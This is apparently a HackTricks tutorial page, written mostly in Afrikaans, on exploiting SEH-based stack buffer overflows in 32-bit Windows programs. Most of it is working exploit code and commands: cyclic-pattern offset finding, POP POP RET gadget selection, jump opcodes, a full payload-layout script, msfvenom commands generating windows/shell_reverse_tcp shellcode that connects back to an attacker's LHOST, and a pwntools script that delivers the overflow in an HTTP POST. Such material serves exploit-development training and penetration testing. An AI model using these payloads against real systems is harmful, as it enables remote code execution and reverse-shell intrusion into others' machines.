Windows SEH-gebaseerde Stack Overflow-uitbuiting (nSEH/SEH)

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

SEH-gebaseerde uitbuiting is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting benut wat op die stack gestoor is. Wanneer 'n stack buffer overflow die twee 4-byte velde oor-skryf

  • nSEH: aanwyser na die volgende SEH-rekord, en
  • SEH: aanwyser na die exception handler-funksie

kan 'n aanvaller beheer van die uitvoering kry deur:

  1. SEH op die adres van 'n POP POP RET-gadget in 'n nie-beskermde module te stel, sodat wanneer 'n uitzondering hanteer word die gadget terugkeer in deur die aanvaller beheerde bytes, en
  2. nSEH te gebruik om die uitvoering te herlei (gewoonlik 'n kort sprong) terug na die groot oorvloeiende buffer waar die shellcode woon.

Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Swak karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in as gevolg van C-strings en HTTP-parsing.


Vind presiese offsets (nSEH / SEH)

  • Laat die proses crash en verifieer dat die SEH-ketting oorskryf is (bv. in x32dbg/x64dbg, kyk na die SEH-view).
  • Stuur 'n cykliese patroon as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland.

Voorbeeld met peda/GEF/pwntools op 'n 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Valideer deur merkers by daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou die totale lengte konstant om die crash reproduceerbaar te maak.


Kies 'n POP POP RET (SEH gadget)

Jy benodig 'n POP POP RET-reeks om die SEH-raam af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en, indien moontlik, sonder ASLR:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., p32(0x004094D8)). Voorkeur vir gadgets binne die kwesbare binary indien beskermings dit toelaat.


Jump-back-tegniek (short + near jmp)

nSEH is slegs 4 bytes, wat op die meeste plek 'n 2-byte short jump (EB xx) plus padding toelaat. As jy honderde bytes terug moet jump om by die begin van jou buffer uit te kom, gebruik 'n 5-byte near jump net voor nSEH en chain daarna in met 'n short jump vanaf nSEH.

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

Voorstel vir die lay-out van 'n 1000-byte payload met nSEH by offset 660:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Uitvoeringsvloei:

  • Uitsondering vind plaas, die dispatcher gebruik die oor-geskryfde SEH.
  • POP POP RET ontrol in ons nSEH.
  • nSEH voer jmp short -8 uit na die 5-byte near jump.
  • Die near jump land by die begin van ons buffer waar die NOP sled + shellcode aangetref word.

Slegte karakters

Bou 'n volledige badchar-string en vergelyk die stapelgeheue na die crash, verwyder bytes wat deur die teiken-parser vervorm word. Vir HTTP-based overflows, \x00\x0a\x0d word byna altyd uitgesluit.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generering (x86)

Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landing-variansie te verdra.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om te embed en in Python te unhex:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Aflewering oor HTTP (presiese CRLF + Content-Length)

Wanneer die kwesbare vektor 'n HTTP versoekliggaam is, stel 'n rou versoek saam met presiese CRLFs en Content-Length sodat die bediener die hele oorvloeiende liggaam kan lees.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Gereedskap

  • x32dbg/x64dbg om die SEH-ketting te observeer en die crash te triage.
  • ERC.Xdbg (x64dbg plugin) om SEH-gadgets te enumereer: ERC --SEH.
  • Mona as 'n alternatief: !mona modules, !mona seh.
  • nasmshell om short/near jumps te assembleer en rou opkodes te kopieer.
  • pwntools om presiese netwerk-payloads te vervaardig.

Aantekeninge en kanttekeninge

  • Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde exploitasie is oor die algemeen nie lewensvatbaar nie.
  • Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; andersins vind 'n onbeveiligde module wat in die proses gelaai is.
  • Diens-watchdogs wat outomaties herbegin na 'n crash kan iteratiewe exploit-ontwikkeling vergemaklik.

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks